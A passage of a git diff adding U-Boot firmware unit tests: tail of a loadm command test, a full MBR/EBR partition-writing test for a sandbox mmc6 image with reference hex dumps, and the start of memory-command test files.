+static int loadm_test_params(struct unit_test_state *uts)
+{
+ ut_assertok(console_record_reset_enable());
+ run_command("loadm", 0);
+ ut_assert_nextline("loadm - load binary blob from source address to destination address");
+
+ ut_assertok(console_record_reset_enable());
+ run_command("loadm 0x12345678", 0);
+ ut_assert_nextline("loadm - load binary blob from source address to destination address");
+
+ ut_assertok(console_record_reset_enable());
+ run_command("loadm 0x12345678 0x12345678", 0);
+ ut_assert_nextline("loadm - load binary blob from source address to destination address");
+
+ ut_assertok(console_record_reset_enable());
+ run_command("loadm 0x12345678 0x12345678 0", 0);
+ ut_assert_nextline("loadm: can not load zero bytes");
+
+ return 0;
+}
+LOADM_TEST(loadm_test_params, UT_TESTF_CONSOLE_REC);
+
+static int loadm_test_load (struct unit_test_state *uts)
+{
+ char *buf;
+
+ buf = map_sysmem(0, BUF_SIZE);
+ memset(buf, '\0', BUF_SIZE);
+ memset(buf, 0xaa, BUF_SIZE / 2);
+
+ ut_assertok(console_record_reset_enable());
+ run_command("loadm 0x0 0x80 0x80", 0);
+ ut_assert_nextline("loaded bin to memory: size: 128");
+
+ unmap_sysmem(buf);
+
+ return 0;
+}
+LOADM_TEST(loadm_test_load, UT_TESTF_CONSOLE_REC);
+
+int do_ut_loadm(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(loadm_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(loadm_test);
+
+ return cmd_ut_category("loadm", "loadm_test_", tests, n_ents, argc,
+ argv);
+}
diff --git a/test/cmd/mbr.c b/test/cmd/mbr.c
new file mode 100644
index 00000000000..235b363290e
--- /dev/null
+++ b/test/cmd/mbr.c
@@ -0,0 +1,483 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for mbr command
+ *
+ * Copyright 2023 Matrox Video
+ * Written by Alex Gendin <agendin@matrox.com>
+ */
+
+#include <dm.h>
+#include <console.h>
+#include <dm/test.h>
+#include <mapmem.h>
+#include <part.h>
+#include <asm/global_data.h>
+#include <dm/device-internal.h>
+#include <dm/lists.h>
+#include <test/suites.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+/*
+ * Requirements for running test manually:
+ * mmc6.img - File size needs to be at least 12 MiB
+ *
+ * Command to create mmc6.img:
+ * $ dd if=/dev/zero of=mmc6.img bs=12M count=1
+ *
+ * To run this test manually, place mmc6.img into the same directory as u-boot,
+ * then run:
+ * $ ./u-boot -Tc 'ut mbr'
+ *
+ * To run this test as part of U-Boot test:
+ * $ ./test/py/test.py --bd sandbox --build -k ut_dm -v
+ * Note: mmc6.img will be created by the test suit.
+ */
+
+static char * mbr_parts_header = "setenv mbr_parts '";
+static char * mbr_parts_p1 = "uuid_disk=0x12345678;name=p1,start=8M,bootable,size=1M,id=0x0e";
+static char * mbr_parts_p2 = ";name=p2,size=1M,id=0x0e";
+static char * mbr_parts_p3 = ";name=p3,size=1M,id=0x0e";
+static char * mbr_parts_p4 = ";name=p4,size=1M,id=0x0e";
+static char * mbr_parts_p5 = ";name=[ext],size=2M,id=0x05;name=p5,size=1M,id=0x0e";
+static char * mbr_parts_tail = "'";
+
+/*
+ * One MBR partition
+000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 00 |...%$..@........|
+000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+*/
+static unsigned mbr_cmp_start = 0x1B8;
+static unsigned mbr_cmp_size = 0x48;
+static unsigned char mbr_parts_ref_p1[] = {
+ 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x80, 0x05,
+0x05, 0x01, 0x0e, 0x25, 0x24, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
+};
+
+/*
+ * Two MBR partitions
+000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 00 |%..F...H........|
+000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+*/
+static unsigned char mbr_parts_ref_p2[] = {
+ 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x80, 0x05,
+0x05, 0x01, 0x0e, 0x25, 0x24, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x25,
+0x25, 0x01, 0x0e, 0x46, 0x05, 0x01, 0x00, 0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
+};
+
+/*
+ * Three MBR partitions
+000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 00 |...f%..P........|
+000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+*/
+static unsigned char mbr_parts_ref_p3[] = {
+ 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x80, 0x05,
+0x05, 0x01, 0x0e, 0x25, 0x24, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x25,
+0x25, 0x01, 0x0e, 0x46, 0x05, 0x01, 0x00, 0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x46,
+0x06, 0x01, 0x0e, 0x66, 0x25, 0x01, 0x00, 0x50, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
+};
+
+/*
+ * Four MBR partitions
+000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 66 |...f%..P.......f|
+000001f0 26 01 0e 87 06 01 00 58 00 00 00 08 00 00 55 aa |&......X......U.|
+*/
+static unsigned char mbr_parts_ref_p4[] = {
+ 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x80, 0x05,
+0x05, 0x01, 0x0e, 0x25, 0x24, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x25,
+0x25, 0x01, 0x0e, 0x46, 0x05, 0x01, 0x00, 0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x46,
+0x06, 0x01, 0x0e, 0x66, 0x25, 0x01, 0x00, 0x50, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x66,
+0x26, 0x01, 0x0e, 0x87, 0x06, 0x01, 0x00, 0x58, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x55, 0xaa
+};
+
+/*
+ * Five MBR partitions
+000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 66 |...f%..P.......f|
+000001f0 26 01 05 a7 26 01 00 58 00 00 00 10 00 00 55 aa |&...&..X......U.|
+*/
+static unsigned char mbr_parts_ref_p5[] = {
+ 0x78, 0x56, 0x34, 0x12, 0x00, 0x00, 0x80, 0x05,
+0x05, 0x01, 0x0e, 0x25, 0x24, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x25,
+0x25, 0x01, 0x0e, 0x46, 0x05, 0x01, 0x00, 0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x46,
+0x06, 0x01, 0x0e, 0x66, 0x25, 0x01, 0x00, 0x50, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x66,
+0x26, 0x01, 0x05, 0xa7, 0x26, 0x01, 0x00, 0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x55, 0xaa
+};
+static unsigned ebr_cmp_start = 0x1B8;
+static unsigned ebr_cmp_size = 0x48;
+/*
+ * EBR
+00b001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 87 |................|
+00b001c0 07 01 0e a7 26 01 00 08 00 00 00 08 00 00 00 00 |....&...........|
+00b001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+00b001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+00b001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+*/
+static unsigned char ebr_parts_ref_p5[] = {
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x87,
+0x07, 0x01, 0x0e, 0xa7, 0x26, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xaa
+};
+
+/* Fill write buffers with pseudo-random data */
+static void init_write_buffers(char *mbr_wb, size_t mbr_wb_size,
+ char *ebr_wb, size_t ebr_wb_size, unsigned seed)
+{
+ while (mbr_wb_size--) {
+ *mbr_wb++ = seed;
+ seed *= 43;
+ seed += 17 + mbr_wb_size/4;
+ }
+ while (ebr_wb_size--) {
+ *ebr_wb++ = seed;
+ seed *= 43;
+ seed += 17 + ebr_wb_size/4;
+ }
+}
+
+/* Build string with MBR partition(s) layout */
+static unsigned build_mbr_parts(char *buf, size_t buf_size, unsigned num_parts)
+{
+ size_t bytes_remaining, cur_str_size;
+ char * cur_buf;
+
+ if (!num_parts || num_parts > 5 || !buf)
+ return 1;
+
+ cur_buf = buf;
+ *cur_buf = '\0';
+ bytes_remaining = buf_size;
+
+ cur_str_size = sizeof(mbr_parts_header);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_header);
+ bytes_remaining -= cur_str_size;
+
+ if (num_parts >= 1) {
+ cur_str_size = sizeof(mbr_parts_p1);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_p1);
+ bytes_remaining -= cur_str_size;
+
+ if (num_parts >= 2) {
+ cur_str_size = sizeof(mbr_parts_p2);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_p2);
+ bytes_remaining -= cur_str_size;
+
+ if (num_parts >= 3) {
+ cur_str_size = sizeof(mbr_parts_p3);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_p3);
+ bytes_remaining -= cur_str_size;
+
+ if (num_parts == 4) {
+ cur_str_size = sizeof(mbr_parts_p4);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_p4);
+ bytes_remaining -= cur_str_size;
+
+ }
+ else if (num_parts == 5) {
+ cur_str_size = sizeof(mbr_parts_p5);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_p5);
+ bytes_remaining -= cur_str_size;
+
+ }
+ }
+ }
+ }
+
+ cur_str_size = sizeof(mbr_parts_tail);
+ if (cur_str_size + 1 > bytes_remaining)
+ return 1;
+ strcat(cur_buf, mbr_parts_tail);
+
+ return 0;
+}
+
+static int mbr_test_run(struct unit_test_state *uts)
+{
+ struct blk_desc *mmc_dev_desc;
+ unsigned char mbr_wbuf[512], ebr_wbuf[512], rbuf[512];
+ char mbr_parts_buf[256];
+ ulong mbr_wa, ebr_wa, ra, ebr_blk, mbr_parts_max;
+ struct udevice *dev;
+ ofnode root, node;
+
+ /* Enable the mmc6 node for this test */
+ root = oftree_root(oftree_default());
+ node = ofnode_find_subnode(root, "mmc6");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(lists_bind_fdt(gd->dm_root, node, &dev, NULL, false));
+
+ /*
+ * 1 byte for null character
+ * 2 reserved bytes
+ */
+ mbr_parts_max = 1 + 2 +
+ strlen(mbr_parts_header) +
+ strlen(mbr_parts_p1) +
+ strlen(mbr_parts_p2) +
+ strlen(mbr_parts_p3) +
+ max(strlen(mbr_parts_p4), strlen(mbr_parts_p5)) +
+ strlen(mbr_parts_tail);
+ ut_assertf(sizeof(mbr_parts_buf) >= mbr_parts_max, "Buffer avail: %ld; buffer req: %ld\n",
+ sizeof(mbr_parts_buf), mbr_parts_max);
+
+ mbr_wa = map_to_sysmem(mbr_wbuf);
+ ebr_wa = map_to_sysmem(ebr_wbuf);
+ ra = map_to_sysmem(rbuf);
+ ebr_blk = (ulong)0xB00000 / 0x200;
+
+ /* Make sure mmc6 exists */
+ ut_asserteq(6, blk_get_device_by_str("mmc", "6", &mmc_dev_desc));
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("mmc dev 6"));
+ ut_assert_nextline("switch to partitions #0, OK");
+ ut_assert_nextline("mmc6 is current device");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Make sure mmc6 is 12+ MiB in size */
+ ut_assertok(run_commandf("mmc read 0x%lx 0x%lx 1", ra, (ulong)0xBFFE00 / 0x200));
+
+ /* Test one MBR partition */
+ init_write_buffers(mbr_wbuf, sizeof(mbr_wbuf), ebr_wbuf, sizeof(ebr_wbuf), __LINE__);
+ ut_assertok(build_mbr_parts(mbr_parts_buf, sizeof(mbr_parts_buf), 1));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0 1", mbr_wa));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ ut_assertok(memcmp(mbr_wbuf, rbuf, 512));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0x%lx 1", ebr_wa, ebr_blk));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(console_record_reset_enable());
+ ut_assertf(0 == run_commandf(mbr_parts_buf), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assertok(run_commandf("mbr write mmc 6"));
+ ut_assert_nextline("MBR: write success!");
+ ut_assertok(run_commandf("mbr verify mmc 6"));
+ ut_assert_nextline("MBR: verify success!");
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(ut_check_console_end(uts));
+ /*
+ 000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+ 000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 00 |...%$..@........|
+ 000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+ 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+ 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ for (unsigned i = 0; i < mbr_cmp_size; i++) {
+ ut_assertf(rbuf[mbr_cmp_start + i] == mbr_parts_ref_p1[i],
+ "1P MBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ mbr_cmp_start + i, mbr_parts_ref_p1[i], rbuf[mbr_cmp_start + i]);
+ }
+
+ /* Test two MBR partitions */
+ init_write_buffers(mbr_wbuf, sizeof(mbr_wbuf), ebr_wbuf, sizeof(ebr_wbuf), __LINE__);
+ ut_assertok(build_mbr_parts(mbr_parts_buf, sizeof(mbr_parts_buf), 2));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0 1", mbr_wa));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ ut_assertok(memcmp(mbr_wbuf, rbuf, 512));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0x%lx 1", ebr_wa, ebr_blk));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(console_record_reset_enable());
+ ut_assertf(0 == run_commandf(mbr_parts_buf), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assertok(run_commandf("mbr write mmc 6"));
+ ut_assert_nextline("MBR: write success!");
+ ut_assertok(run_commandf("mbr verify mmc 6"));
+ ut_assert_nextline("MBR: verify success!");
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(ut_check_console_end(uts));
+ /*
+ 000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+ 000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+ 000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 00 |%..F...H........|
+ 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+ 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ for (unsigned i = 0; i < mbr_cmp_size; i++) {
+ ut_assertf(rbuf[mbr_cmp_start + i] == mbr_parts_ref_p2[i],
+ "2P MBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ mbr_cmp_start + i, mbr_parts_ref_p2[i], rbuf[mbr_cmp_start + i]);
+ }
+
+ /* Test three MBR partitions */
+ init_write_buffers(mbr_wbuf, sizeof(mbr_wbuf), ebr_wbuf, sizeof(ebr_wbuf), __LINE__);
+ ut_assertok(build_mbr_parts(mbr_parts_buf, sizeof(mbr_parts_buf), 3));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0 1", mbr_wa));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ ut_assertok(memcmp(mbr_wbuf, rbuf, 512));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0x%lx 1", ebr_wa, ebr_blk));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(console_record_reset_enable());
+ ut_assertf(0 == run_commandf(mbr_parts_buf), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assertok(run_commandf("mbr write mmc 6"));
+ ut_assert_nextline("MBR: write success!");
+ ut_assertok(run_commandf("mbr verify mmc 6"));
+ ut_assert_nextline("MBR: verify success!");
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(ut_check_console_end(uts));
+ /*
+ 000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+ 000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+ 000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+ 000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 00 |...f%..P........|
+ 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ for (unsigned i = 0; i < mbr_cmp_size; i++) {
+ ut_assertf(rbuf[mbr_cmp_start + i] == mbr_parts_ref_p3[i],
+ "3P MBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ mbr_cmp_start + i, mbr_parts_ref_p3[i], rbuf[mbr_cmp_start + i]);
+ }
+
+ /* Test four MBR partitions */
+ init_write_buffers(mbr_wbuf, sizeof(mbr_wbuf), ebr_wbuf, sizeof(ebr_wbuf), __LINE__);
+ ut_assertok(build_mbr_parts(mbr_parts_buf, sizeof(mbr_parts_buf), 4));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0 1", mbr_wa));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ ut_assertok(memcmp(mbr_wbuf, rbuf, 512));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0x%lx 1", ebr_wa, ebr_blk));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(console_record_reset_enable());
+ ut_assertf(0 == run_commandf(mbr_parts_buf), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assertok(run_commandf("mbr write mmc 6"));
+ ut_assert_nextline("MBR: write success!");
+ ut_assertok(run_commandf("mbr verify mmc 6"));
+ ut_assert_nextline("MBR: verify success!");
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(ut_check_console_end(uts));
+ /*
+ 000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+ 000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+ 000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+ 000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 66 |...f%..P.......f|
+ 000001f0 26 01 0e 87 06 01 00 58 00 00 00 08 00 00 55 aa |&......X......U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ for (unsigned i = 0; i < mbr_cmp_size; i++) {
+ ut_assertf(rbuf[mbr_cmp_start + i] == mbr_parts_ref_p4[i],
+ "4P MBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ mbr_cmp_start + i, mbr_parts_ref_p4[i], rbuf[mbr_cmp_start + i]);
+ }
+
+ /* Test five MBR partitions */
+ init_write_buffers(mbr_wbuf, sizeof(mbr_wbuf), ebr_wbuf, sizeof(ebr_wbuf), __LINE__);
+ ut_assertok(build_mbr_parts(mbr_parts_buf, sizeof(mbr_parts_buf), 5));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0 1", mbr_wa));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ ut_assertok(memcmp(mbr_wbuf, rbuf, 512));
+ ut_assertok(run_commandf("write mmc 6:0 0x%lx 0x%lx 1", ebr_wa, ebr_blk));
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ ut_assertok(memcmp(ebr_wbuf, rbuf, 512));
+ ut_assertok(console_record_reset_enable());
+ ut_assertf(0 == run_commandf(mbr_parts_buf), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assertf(0 == run_commandf("mbr write mmc 6"), "Invalid partitions string: %s\n", mbr_parts_buf);
+ ut_assert_nextline("MBR: write success!");
+ ut_assertok(run_commandf("mbr verify mmc 6"));
+ ut_assert_nextline("MBR: verify success!");
+ ut_assertok(ut_check_console_end(uts));
+ /*
+ 000001b0 00 00 00 00 00 00 00 00 78 56 34 12 00 00 80 05 |........xV4.....|
+ 000001c0 05 01 0e 25 24 01 00 40 00 00 00 08 00 00 00 25 |...%$..@.......%|
+ 000001d0 25 01 0e 46 05 01 00 48 00 00 00 08 00 00 00 46 |%..F...H.......F|
+ 000001e0 06 01 0e 66 25 01 00 50 00 00 00 08 00 00 00 66 |...f%..P.......f|
+ 000001f0 26 01 05 a7 26 01 00 58 00 00 00 10 00 00 55 aa |&...&..X......U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0 1", ra));
+ for (unsigned i = 0; i < mbr_cmp_size; i++) {
+ ut_assertf(rbuf[mbr_cmp_start + i] == mbr_parts_ref_p5[i],
+ "5P MBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ mbr_cmp_start + i, mbr_parts_ref_p5[i], rbuf[mbr_cmp_start + i]);
+ }
+ /*
+ 00b001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 87 |................|
+ 00b001c0 07 01 0e a7 26 01 00 08 00 00 00 08 00 00 00 00 |....&...........|
+ 00b001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+ 00b001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
+ 00b001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.|
+ */
+ memset(rbuf, 0, sizeof(rbuf));
+ ut_assertok(run_commandf("read mmc 6:0 0x%lx 0x%lx 1", ra, ebr_blk));
+ for (unsigned i = 0; i < ebr_cmp_size; i++) {
+ ut_assertf(rbuf[ebr_cmp_start + i] == ebr_parts_ref_p5[i],
+ "5P EBR+0x%04X: expected 0x%02X, actual: 0x%02X\n",
+ ebr_cmp_start + i, ebr_parts_ref_p5[i], rbuf[ebr_cmp_start + i]);
+ }
+
+ return 0;
+}
+
+/* Declare mbr test */
+UNIT_TEST(mbr_test_run, UT_TESTF_CONSOLE_REC, mbr_test);
+
+int do_ut_mbr(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(mbr_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(mbr_test);
+
+ return cmd_ut_category("mbr", "mbr_test_", tests, n_ents, argc, argv);
+}
+
+static int dm_test_cmd_mbr(struct unit_test_state *uts)
+{
+ return mbr_test_run(uts);
+}
+
+DM_TEST(dm_test_cmd_mbr, UT_TESTF_SCAN_FDT | UT_TESTF_CONSOLE_REC);
diff --git a/test/cmd/mem.c b/test/cmd/mem.c
new file mode 100644
index 00000000000..f1bbab6055b
--- /dev/null
+++ b/test/cmd/mem.c
@@ -0,0 +1,19 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Executes tests for memory-related commands
+ *
+ * Copyright 2020 Google LLC
+ */
+
+#include <command.h>
+#include <test/suites.h>
+#include <test/test.h>
+
+int do_ut_mem(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(mem_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(mem_test);
+
+ return cmd_ut_category("cmd_mem", "mem_test_", tests, n_ents, argc,
+ argv);
+}
diff --git a/test/cmd/mem_copy.c b/test/cmd/mem_copy.c
new file mode 100644
index 00000000000..1ba0cebbbe0
--- /dev/null
+++ b/test/cmd/mem_copy.c
@@ -0,0 +1,168 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for memory 'cp' command
+ */
+
+#include <command.h>
+#include <console.h>
+#include <mapmem.h>
